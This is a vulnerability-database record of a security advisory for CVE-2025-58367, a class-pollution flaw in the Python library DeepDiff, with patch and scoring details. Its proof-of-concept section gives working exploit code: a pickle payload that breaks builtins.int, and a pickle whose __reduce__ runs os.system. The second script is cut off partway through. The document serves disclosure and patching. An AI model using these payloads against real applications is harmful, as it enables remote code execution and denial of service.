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Response snapshot Oct 27, 2026, 17:26 UTC

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VulnerabilityCVE-2025-58367

DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more

The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class.

Published Updated

At a glance

Exploited
Not known
Severity
10.0 Critical (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: deepdiff: 8.6.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-mw26-5g2v-hqw3 (opens a new tab)

What happened

### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html).

The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).

The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Continue reading

### Details

The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ```

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ```

Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.

This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.

#### Using dict

Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.

However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.

Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.

### Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled.

#### Denial of Service

This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.

```py # ------------[ Setup ]------------ import pickle

from deepdiff.helper import Opcode

pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } )

assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"}

# Before pollution print(int("41") + 1)

# Apply Delta to mydict result = mydict + Delta(pollute_int)

print(int("1337")) ```

```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in print(int("1337")) TypeError: 'str' object is not callable ```

#### Remote Code Execution

This script will create a file at `/tmp/pwned` with the output of `id`.

```py # ------------[ Setup ]------------ import os import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } )

# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,)

# Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing di

Affected package ranges reported by GitHub: deepdiff: >= 5.0.0, < 8.6.1

Scores and how they were measured

CVSS base severity

10.0

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-mw26-5g2v-hqw3 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-mw26-5g2v-hqw3, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more (CVE-2025-58367). https://kevwire.com/record/CVE-2025-58367

MLA

"DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more (CVE-2025-58367)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2025-58367.

Chicago

KEVWire. "DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more (CVE-2025-58367)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2025-58367.

Evidence summary (plain text)

DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more (Sep 3, 2025).
The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.
CVSS 10.0 (version 4.0; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-mw26-5g2v-hqw3).
Sources:
GitHub-reviewed advisory GHSA-mw26-5g2v-hqw3: https://github.com/advisories/GHSA-mw26-5g2v-hqw3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2025-58367.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 17:25 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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